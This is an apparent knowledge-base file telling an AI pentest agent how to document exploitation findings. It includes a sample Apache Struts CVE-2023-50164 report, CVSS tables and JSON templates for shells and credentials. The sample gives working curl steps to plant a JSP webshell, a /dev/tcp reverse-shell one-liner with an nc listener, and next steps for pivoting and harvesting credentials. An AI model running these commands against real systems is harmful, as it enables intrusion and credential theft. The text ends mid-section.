exploit-reporting

# Exploitation Reporting Knowledge Base Exploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Decepticon engagement directory. ## 1. Exploitation Finding Template Every verified successful exploitation MUST produce a finding Markdown file in the active engagement workspace's `findings/` directory named `FIND-{NNN}.md`. The file name and `id` field in YAML frontmatter (`FIND-001`, `FIND-002`, ...) are the canonical cross-reference — determine the next ID by counting existing files. Do not create placeholder finding files. ```markdown --- id: FIND-001 severity: CRITICAL cvss_score: 9.3 cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" cwe: CWE-78 mitre: T1190 affected_target: 10.0.1.50 affected_component: "Apache Struts 2.5.30 — /struts2/upload.action" confidence: confirmed objective_id: OBJ-EXP-001 phase: initial-access agent: exploit detected: false remediation_priority: immediate discovered_at: "2026-04-06T14:32:00Z" --- # [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved ## Description Apache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file — including a JSP webshell — to the web root. This achieves unauthenticated remote code execution as the Tomcat service account. The vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `../` sequences to escape the configured upload directory. ## Steps to Reproduce ```bash # 1. Confirm the target is running Struts (identified during recon) curl -s -I http://10.0.1.50:8080/struts2/ | grep -i server # 2. Generate the malicious multipart upload request # Upload a JSP webshell to /struts2/../shell.jsp (resolves to web root) curl -s -X POST http://10.0.1.50:8080/struts2/upload.action \ -F "Upload=@/tmp/shell.jsp;type=image/jpeg" \ -F "Upload-Dir=../." \ -o /workspace/target/findings/evidence/FIND-001_upload_response.txt # 3. Confirm shell placement curl -s http://10.0.1.50:8080/shell.jsp?cmd=id \ -o /workspace/target/findings/evidence/FIND-001_rce_confirm.txt # 4. Upgrade to reverse shell curl -s "http://10.0.1.50:8080/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261'" & nc -lvnp 4444 ``` ## Proof of Exploitation ``` # whoami output on compromised host tomcat # id output uid=52(tomcat) gid=52(tomcat) groups=52(tomcat) # hostname app01.internal.example.com # uname -a Linux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU/Linux # ip addr (abridged) inet 10.0.1.50/24 brd 10.0.1.255 scope global eth0 inet 10.0.2.1/24 brd 10.0.2.255 scope global eth1 ``` ## Access Achieved | Target | Access Level | Method | Credentials Used | Persistence Status | |--------|-------------|--------|------------------|--------------------| | 10.0.1.50:8080 (app01) | Remote Code Execution (tomcat) | CVE-2023-50164 — JSP webshell | None (unauthenticated) | Webshell at /shell.jsp | ## Impact An unauthenticated attacker has OS-level command execution as the `tomcat` service account on `app01.internal.example.com`. The host has dual-network interfaces (10.0.1.0/24 external-facing + 10.0.2.0/24 internal), making it a pivot point into the internal network segment. From this position an attacker can: - Enumerate and access internal services on 10.0.2.0/24 not reachable externally - Read application configuration files containing database credentials - Install a persistent reverse shell or C2 implant - Escalate privileges via local kernel or sudo misconfigurations ## Evidence | Type | Path | Description | |------|------|-------------| | HTTP response | findings/evidence/FIND-001_upload_response.txt | Server response confirming file write | | RCE confirmation | findings/evidence/FIND-001_rce_confirm.txt | Output of `id` command via webshell | | Shell session log | findings/evidence/FIND-001_shell_session.txt | Full interactive shell transcript | | Payload | findings/evidence/FIND-001_shell.jsp | JSP webshell payload used | ## Detection Gap Analysis | Control | Status | Notes | |---------|--------|-------| | WAF | Not triggered | Multipart upload traffic not inspected | | IDS/IPS | Not triggered | No signature match for Struts exploit pattern | | EDR | Not triggered | Tomcat process spawning child processes not alerted | | SIEM | No alert | No rule for unexpected JSP file creation in web root | | File integrity monitoring | Not detected | Web root not monitored for new .jsp files | Exploitation was not detected. The upload blended with normal application traffic. The JSP webshell at `/shell.jsp` remained accessible for the duration of testing with no automated response. ## Remediation 1. **Patch immediately**: Upgrade Apache Struts to 2.5.33 or 6.3.0.2+ (fix for CVE-2023-50164) 2. **Restrict file uploads**: Validate and canonicalize upload paths server-side; reject `../` sequences 3. **Limit web root writability**: Run Tomcat with a read-only web root; use a separate upload directory outside the document root 4. **Deploy WAF rule**: Block multipart uploads containing path traversal sequences in field values 5. **Add FIM**: Monitor the web root for new `.jsp` and `.war` file creation ## References - CVE-2023-50164: https://nvd.nist.gov/vuln/detail/CVE-2023-50164 - Apache Security Bulletin: https://struts.apache.org/announce-2023.html#a20231207 - PoC: https://www.exploit-db.com/exploits/51733 - MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/ ## Attack Path Context This finding achieves **Initial Access** (TA0001) via **Exploit Public-Facing Application** (T1190). The dual-network interface on `app01` enables **Lateral Movement** into the 10.0.2.0/24 internal segment. Recommended next steps: 1. Enumerate internal hosts on 10.0.2.0/24 via the shell pivot 2. Read `/opt/tomcat/webapps/struts2/WEB-INF/classes/*.properties` for database credentials 3. Escalate from `tomcat` to root via local privilege escalation (see post-exploit phase) ``` --- ## 2. Common Exploitation CVSS v4.0 Reference Scores Use these pre-calculated vectors as a starting point. Adjust supplemental metrics (Automatable, Recovery, Provider Urgency) based on actual conditions observed. | Finding Type | CVSS 4.0 Score | Vector | Notes | |-------------|---------------|--------|-------| | Unauthenticated RCE via public-facing app | 9.3 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` | Adjust SC/SI/SA if scope crosses trust boundary | | RCE requiring low-priv credentials | 8.7 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` | | | Authentication bypass (admin panel) | 9.1 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N` | Reduce VI if read-only | | SQL injection with data read | 8.7 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` | Raise VI to H if write confirmed | | SQL injection with OS shell | 9.3 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` | Same as RCE once shell achieved | | Default/weak credentials — admin | 9.0 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` | | | Default/weak credentials — service account | 7.0 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` | Raise based on actual access level | | SSRF to internal services | 6.9 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N` | Raise SC/SI if cloud metadata accessed | | SSRF to cloud metadata (IAM creds) | 8.8 | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N` | High SC/SI due to cloud environment impact | ### CVSS 4.0 Severity Bands | Score | Severity | Remediation SLA | |-------|----------|----------------| | 9.0 – 10.0 | Critical | Immediate (24 hours) | | 7.0 – 8.9 | High | Within 7 days | | 4.0 – 6.9 | Medium | Within 30 days | | 0.1 – 3.9 | Low | Within 90 days | ### Key CVSS 4.0 Metrics (vs 3.1) | Metric | CVSS 3.1 | CVSS 4.0 | Notes | |--------|----------|----------|-------| | Attack Complexity | AC:L / AC:H | AC:L / AC:H | Same meaning | | Attack Requirements | — | AT:N / AT:P | New: conditions beyond attacker control | | Scope | S:U / S:C | Removed | Replaced by SC/SI/SA (Subsequent System) | | Subsequent System | — | SC / SI / SA | Impact on systems beyond the vulnerable one | | Automatable | — | AU:N / AU:Y | Supplemental: can the attack be scripted at scale? | | Recovery | — | R:A / R:U / R:I | Supplemental: how quickly does the system recover? | --- ## 3. Shell and Credential Cross-Reference Every shell obtained and credential captured MUST be recorded in the engagement's structured JSON files AND linked back to a finding ID. ### Shell Entry — `exploit/shells.json` ```json { "shell_id": "SHELL-001", "finding_id": "FIND-001", "target": "10.0.1.50", "hostname": "app01.internal.example.com", "access_level": "user", "user": "tomcat", "uid": 52, "groups": ["tomcat"], "shell_type": "reverse-shell", "method": "JSP webshell via CVE-2023-50164", "listener": "nc -lvnp 4444", "webshell_path": "/opt/tomcat/webapps/ROOT/shell.jsp", "webshell_url": "http://10.0.1.50:8080/shell.jsp", "networks": ["10.0.1.0/24", "10.0.2.0/24"], "os": "Linux 5.15.0-1034-aws x86_64", "obtained_at": "2026-04-06T14:35:00Z", "persistence_status": "webshell", "notes": "Dual-NIC host — pivot point into 10.0.2.0/24 internal segment" } ``` ### Credential Entry — `exploit/creds/initial.json` ```json { "cred_id": "CRED-001", "finding_id": "FIND-002", "source_host": "app01.internal.example.com", "source_path": "/opt/tomcat/webapps/struts2/WEB-INF/classes/db.properties", "type": "database", "service": "mysql", "target_host": "10.0.2.10", "target_port": 3306, "username": "appuser", "password": "Str0ngP@ss2024!", "hash": null, "access_level": "application-user", "databases": ["app_production"], "verified": true, "obtained_at": "2026-04-06T14:40:00Z", "notes": "Plaintext credentials in config file on app01" } ``` ### Linking Rule - Every `SHELL-NNN` entry MUST have a `finding_id` pointing to a `FIND-NNN.md` - Every `CRED-NNN` entry MUST have a `finding_id` pointing to a `FIND-NNN.md` - The corresponding `FIND-NNN.md` MUST list the shell/cred evidence path in its **Evidence** table --- ## 4. Attack Path Documentation When multiple findings chain together to escalate access, create a `PATH-NNN.md` in `findings/attack-paths/`. ```markdown --- id: PATH-001 name: "Unauthenticated External RCE to Internal Database via App Server Pivot" combined_severity: CRITICAL finding_ids: [FIND-001, FIND-002, FIND-003]